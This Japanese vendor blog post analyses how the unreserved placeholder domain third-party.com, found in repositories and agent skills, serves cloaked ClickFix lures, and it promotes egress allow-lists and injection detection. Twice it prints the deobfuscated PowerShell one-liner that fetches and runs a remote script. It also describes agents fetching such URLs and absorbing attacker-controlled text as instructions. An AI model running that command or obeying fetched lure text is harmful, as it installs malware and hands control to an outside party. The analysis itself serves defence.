← すべての投稿に戻る
公開日 · 著者 Renaud Deraison

スキルは third-party.com を指し、third-party.com は応答した

Manifold Security は third-party.com を見つけた。Chromium、Vercel、Brave を含む 1,700 のリポジトリ、1,500 のファイルに埋め込まれ、公開されたエージェントスキルの中にも潜むドキュメント用プレースホルダで、6 月から ClickFix の誘導を配信している。このドメインは 1996 年に誰かが登録した。スキャナらしきものにはきれいなページを返すため、一度フラグを立てたブロックリストは 10 日後に取り下げた。ホスト名は、どのロックファイルにも行が存在しない唯一の依存関係である。Bromure Agentic Coding はそれに、ワークスペースが接続してよい宛先の一覧で答える。

あなたが監査する依存関係には、バージョンがあり、メンテナがあり、ロックファイルの 行がある。サンプル URL の中のホスト名にあるのは所有者だけで、所有者は気を変える。

あなたはエージェントにウィジェットの遅延読み込みを頼む。エージェントは数か月前に あなたが入れたスキルを開き、そのスキルが参照実装として示す Liquid のスニペットを 読む。そしてスニペットの src は https://third-party.com/widget.js である。

あなたはそれを「埋めるべき空欄」として読む。エージェントが読むのは、名前解決される ホスト名であり、応答するサーバーであり、その応答の中身を決める所有者である。 プレースホルダとは、人が人のためにドキュメントを書くときの慣習にすぎない。文字列 そのものの性質ではない。

1,700 のリポジトリにあるドメイン

9 月 23 日、Manifold Security の Ax Sharma と Cody Nash が 分析を公開した。 対象は third-party.com、ほとんどの開発者が埋め草として知っているドメインだ。 The Hacker News は翌日これを報じた。 少なくとも 2026 年 6 月以降、このドメインは ClickFix の誘導を配信している。ページが コマンドをクリップボードに置き、それを実行される場所に貼り付けるよう求めるのだ。

前提をひとことで言い当てているのは、レポート中のこの一文である。「example[.]com と違い、third-party[.]com は IANA に予約されていない。誰でも登録でき、実際に誰かが 登録した。」1996 年に Network Solutions 経由で誰かが登録し、以来ほかのドメインと 同じように所有者を変え、三十年分のきれいな履歴を背負っている。

GitHub のコード検索は 1,700 を超えるリポジトリ、1,500 を超えるファイルを返す。 Manifold はそのなかに Chromium、Sanity、Vercel、Brave、HackTricks を挙げている。 そして third-party.com は一人ではない。The Hacker News は、いまや scareware や偽の セキュリティ警告、投資詐欺を配信している予約外のプレースホルダをほかに 13 件数えて いる。yourdomain.com、yoursite.com、myapp.com、acme.com、company.com、 vendor.com などで、GitHub 上の数十万のファイルと数百のエージェントスキルに広がって いる。

Windows のブラウザには、偽の Cloudflare 検証ページが返る。JavaScript が隠し textarea と乗っ取った copy イベントを使ってクリップボードに書き込み、ページは Win+R、次に Ctrl+V、次に Enter を押せと指示する。難読化を解くと、クリップボードの 中身はこうだ。

powershell "Write-Host(&{iex(irm('elxxvvx[.]xyz/f'))})2>$null"

irm が HTTPS でスクリプトを取得し、iex がメモリ上で実行し、2>$null がエラーを 飲み込む。ページはさらに囮の文字列、「Security check, I'm not a robot, Verification ID」と数桁の数字を付け足す。ファイル名を指定して実行のダイアログに、ページが頼んだ ものらしき表示を出すためである。

確かめに来るものには、きれいなページを返す

ペイロードよりも重要なのは選別のほうだ。サーバーはリクエストごとに、誰がそれを見る かを選ぶ。

Manifold の原文はこうだ。「このドメインをデータセンターのレンジから、Linux の クローラから、意図された被害者でない何かから問い合わせれば、返ってくるのはきれいな ページである。」Mac には拒否が返る。「macOS is not supported. This website requires a Windows PC to access.」誘導は、運営者がそれを書いた相手にだけ発火する。

IPFire のブロックリストは 2026 年 7 月 7 日にこのドメインをフラグし、10 日後の 7 月 17 日に取り下げた。そのリストを保守している人は悪性の応答を再現できなかった。 サーバーが彼らには返さないからである。三か月たったいまもドメインは生きており、 依然として偽装され、依然として 1,700 のリポジトリの中にある。

レピュテーションフィードにはここで運ぶものがなく、購読すべきアドバイザリも存在しない。 このドメインは誰にも侵害されていない。誰かが所有しているだけだ。

運び手には、あなたのエージェントのスキルも含まれる

Manifold はエージェントが読む場所を探しに行き、公開された三つのスキルの中にこの 文字列を見つけた。

jeffallan/claude-skills(スター約 11,000)の shopify-expert は、サードパーティ ウィジェットを遅延読み込みする Liquid スニペットでこれを使っている。 alovajs/skills の alova-server-usage は OAuth ゲートウェイの例で使っている。 そして ClawHub の dynamic-dashboard-builder は、「Wrong: Hardcoded endpoint, NEVER do this.」と題したブロックの中で使っている。

その戒めの例は、生きた URL である。ツール呼び出しを三回はさんだ後、モデルがコードを 書く段になって、モデルは「やってはいけない」という枠組みを文字列と一緒に運んで いなければならない。そして文字列はどちらの場合も同じ姿をしている。

ドキュメント上のホスト名がネットワークに届く経路は三つあり、一つのセッションが三つ とも通ることもある。

  • 取りに行く。 スキルや MCP サーバーのドキュメントはエンドポイントだらけで、 スニペットが動くか確かめているエージェントはそれを解決する。返ってきたものは、 ごく普通のツール出力としてモデルのコンテキストに入る。
  • 書き込む。 スニペットはあなたのソースに着地し、差分はレビューを通り、誰も 読まなかった src 属性が利用者のブラウザへ出ていく。Manifold は誘導が Windows の ブラウザで発火することを記録しており、その利用者の相当数が使っているのがそれだ。
  • そこから指示を読む。 ClickFix は「読んでいる誰か」に語りかける。今日の版は Windows のキーボードの前にいる人間を狙い、Linux のエージェントには「非対応」の ページが返る。サーバーはすでに呼び出し元を識別し、三種類の応答を出し分けている。 エージェントらしきクライアント向けの四つ目の応答は、運営者にとって設定一行の コストでしかない。
ドキュメントの中の文字列と、その裏にある四つの応答1,500 ファイル / 1,700 リポジトリREADME.mdMCP サーバーのドキュメントshopify-expert/SKILL.mddynamic-dashboard-builder最後のものは禁止例として載せている読んで、解決するthird-party.com1996 年登録・予約されていない呼び出し元を識別する応答は所有者が決めるWindows のブラウザ偽の Cloudflare 確認 → クリップボードMac「macOS is not supported」クローラ・データセンター・スキャナ毎回、きれいなページクリップボードの中身、難読化を解いたものpowershell "Write-Host(&{iex(irm('elxxvvx.xyz/f'))})2>$null"レピュテーションへの帰結IPFire: 7/7 フラグ · 7/17 解除そして、既存のどの管理策もこれについて何も言わない理由固定すべきバージョンなし · 信頼すべきメンテナなし · lockfile の行なし · SBOM なし · CVE なし · アドバイザリなし実在するのは一度だけ。何かがそこへ接続を開いた瞬間である
同じホスト名に、四つの異なる応答。third-party.com は 1996 年に誰かが登録し、いまや 1,500 を超えるファイルに現れる。README、MCP サーバーのドキュメント、そしてエージェントスキル。そのうち一つは、これを「やってはいけない例」として使っている。サーバーは誰が尋ねたかで応答を選ぶ。Windows のブラウザには偽の Cloudflare ページと PowerShell の入ったクリップボードが返る。Mac には拒否が返る。スキャナやデータセンターのクローラにはきれいなページが返る。だからこそ IPFire は 2026 年 7 月 7 日にフラグを立て、10 日後に取り下げた。マニフェストにもロックファイルにも SBOM にも、ホスト名のための行はない。

プレースホルダは、誰も宣言しなかった依存関係である

サプライチェーンのツールは、同一性を持つアーティファクトを相手にする。パッケージには 名前、バージョン、レジストリ、公開日、メンテナがあるので、固定でき、公開からの日数で 足止めでき、来歴を確かめられ、先週のものと差分をとれる。コメントの中のホスト名が 持っているのは、そのうち一つだけ、所有者である。あなたのパイプラインのどのツールも、 それを解決せず、記録せず、所有者が変わったときに知らせてもこない。プレースホルダに 届く制御は、アーティファクトではなく接続の側に置くしかない。

Bromure ワークスペースの中では

Bromure Agentic Coding では、ワークスペースからの外向き通信は順序付きのルール表で ある。ルールは上から下へ照合され、最初に一致したものが勝ち、セグメント化された 一致しない通信 のコントロールが既定値を許可か 拒否 に決める。各ルールは アクション、プロトコル(tcp、udp、web、any)、ホストまたは CIDR、ポートを 持ち、web ルールでは HTTP メソッドの一覧も持つ。ホスト名はサフィックス一致なので、 example.com は頂点ドメインとすべてのサブドメインを覆う。正準形は 1 行 1 ルールで、 最後を default allow か default deny で締める。

allow tcp github.com:443
allow tcp registry.npmjs.org:443
allow web api.yourcompany.internal GET,POST
default deny

組版上の慣習としてしか存在しないホスト名は、この一覧に載らない。あなたはこの一覧を、 仕事が届く先から書き起こしたのであり、埋め草の文字列はその集合に現れない。ワーク スペースは third-party.com が敵対的だと学ぶ必要が一度もない。どのフィードもそうは 言わないのだから、これは助かる。見るべきことは一つだけだ。third-party.com は github.com ではない。

あなたの Mac はこのルールセットを二度適用する。仮想ネットワークスイッチが、宛先 IP と DNS から読み取ったホスト名で、TCP と UDP をまたいで各フローを照合し、ホスト側の プロキシが TLS のサーバー名で、web ルールでは個々の HTTP メソッドで、もう一度照合 する。スイッチは VM のポート 80 と 443 の通信をプロキシへ迂回させる。環境変数は一切 介在せず、ゲスト側から解除できるものも何もない。ルールの編集は実行中のセッションに 即座に届くので、タスクの途中でエージェントを再起動することなくワークスペースを 締められる。

ノート PC 上のエージェントスキルを読み、文字列を解決するGET https://third-party.com/widget.jsプロセスと DNS のあいだには何もない応答はコンテキストウィンドウに入る所有者がその呼び出し元に返すと決めたものスニペットはホスト名のままレビューへ進むCVE もアドバイザリも lockfile の行もないブロックリストは 7 月に判断を取り下げた気づくのは利用者のブラウザが踏んだときそのホスト名に触れた記録はどこにもないBromure ワークスペース内のエージェント同じスキルを Ubuntu ゲストの中で読むGET https://third-party.com/widget.js:80 と :443 はホストプロキシへ迂回Mac 上で二度照合されるスイッチ: 宛先 IP + DNS で見たホストプロキシ: TLS サーバー名 + メソッド一致するルールなし → default deny範囲外へ出た偽物は 451、VM は一時停止Security Timeline の Firewall 行third-party.com:443 tcp — ブロック
同じスキルファイル、二つのマシン。ノート PC ではエージェントとDNS のあいだに何もないためプレースホルダはそのまま解決され、取得されたページはモデルのコンテキストに入り、スニペットはホスト名を保ったままあなたのソースへ入る。Bromure ワークスペースではホストが接続を二度照合する。仮想スイッチで宛先 IP と DNS から読み取ったホスト名により、プロキシで TLS のサーバー名により、仕事が届く必要のある宛先の一覧と突き合わせる。一致しない通信を拒否にしてあればそこで終わり、その拒否はホスト名を書いた Firewall の行になる。利用者のブラウザに届く前に、自分の成果物の中からその文字列を見つけられるのはそのためである。

Firewall の行は、あなたの差分まで届く

接続を遮断すれば取得は終わる。だが文字列をソースから追い出すには、その行が要る。

ファイアウォールの判定は一つ残らず Security Timeline のウィンドウに Firewall の エントリとして着地する(マニュアル自身の例の行は evil.example:443 tcp — blocked と読める)。認証情報の差し替え、サプライチェーンの判断、ガードレールの適用、 プロンプトインジェクションの検知と並んで、色分けされ絞り込める一つの時系列表に 入る。

セッション内の何かが、あなたが一覧に書かなかったホスト名を初めて解決した時点で、 その名前はタイムスタンプと出どころのワークスペースとともに画面に出る。あなたは差分 に戻り、src 属性を見つけ、ブランチがマージされる前に直す。外向き通信の制御だけでは この後半の話には届かない。「書き込む」場合、危険なリクエストを出すのは数週間後の 他人のブラウザだからである。

経路上にはもう二つの制御があり、どちらも有効にしておく価値がある。

プロンプトインジェクション の検知器は、モデルへ向かう信頼できない内容、つまり ファイルの中身、ウェブページ、tool_result ブロックで運ばれるツール出力を採点する。 使うのはローカルの Prompt Guard 分類器で、端末上で動き、Mac の外へは何も送らない。 ClickFix のテキストは読んだ相手に宛てた指示であり、それこそがこの分類器が学習した 形である。検知器はホスト側のプロキシで動くので、VM の中のエージェントには止められ ない。検知時の動作はあなたが選ぶ。記録するか、一時停止して該当テキストを見せるか、 モデルには決して見えない HTTP 451 でリクエストを拒むか。

ワイヤ境界 は、ドキュメントがエージェントを説き伏せてプレースホルダに認証させる 場合を覆う。VM の中のファイル、環境変数、プロセスのいずれも、本物の API キー、OAuth トークン、AWS のシークレット、SSH 秘密鍵を保持しない。ゲストが受け取るのは構造を 保った偽物で、ホストがその認証情報の発行先である一つのホストに対してだけ本物の値に 差し替える。プロキシは外向きリクエストのヘッダと本文を Aho-Corasick オートマトンで 走査し、これらの偽物を探す。行くべきでない先へ向かった一つは、1 バイトも転送され ないまま HTTP 451 を受け、VM を一時停止させ、赤い Credential brokering の行を 書き、ワークスペースを侵害済みとして印を付ける。次の起動時には、トークンと設定は 残したままディスクとホームを消す選択肢が提示される。

プレースホルダは予約済みのものを使う

example.com、example.org、example.net、そして TLD の .example は IANA に 予約されており、誰にも買えない。third-party.com、acme.com、 yourcompany.com はごく普通のドメインである。誰も予約していないものを、スキル、 MCP の設定、README から grep で洗い出すこと。

宛先の一覧は一度書けばいい

ワークスペースに必要なのは、短く安定したホストの集合だけだ。フォージ、レジストリ、 モデルのエンドポイント、自社 API。一致しない通信を拒否に設定すれば、誰も考えて いなかったホスト名は、プレースホルダも含め、名指しされることなく処理される。

スキャナを黙らせるために許可しない

Manifold 自身の推奨である。チェックを緑にするためにドメインを許可リストへ入れる のは、一度も会ったことのないその所有者を永久に信じると約束することだ。

Firewall の行を読む

見覚えのないホスト名がブロックされていたら、それはエージェントが拾った文字列を 教えてくれ、差分のどこにそれがあるかを指し示している。

誰かがドメインを買った

ここでは誰もレジストリを汚染していないし、メンテナのアカウントを乗っ取ってもいない。 パッケージのタイポスクワットも、CI パイプラインの転覆も、モデルを騙すこともしていない。 誰かが、売りに出ていたドメインを買った。1996 年からずっと売りに出ていたのと同じ ように。そしてそれを Web サーバーに向けた。

業界はサプライチェーンのリスクに、アーティファクトへより良い同一性を与えることで 応じてきた。来歴の証明、sigstore の署名、SBOM、固定されたダイジェスト。その仕事は 良いものであり、そしてこれには触れない。1,700 のリポジトリの中にあるのが、 アーティファクトではなく文字列だからである。開発者たちは何年ものあいだ、それを ある README から次の README へ書き写してきた。そしてそれが実在するのは、DNS の解決 一回と TCP の接続一回のあいだだけである。

その一瞬を統治すること。仕事の行き先の一覧をワークスペースに与え、エージェントの手 が届かない場所でそれを適用し、自分が書き入れなかった名前を探して行を読むこと。解決 しないプレースホルダは、あなたが思っていたとおりの無害な組版の一片に戻る。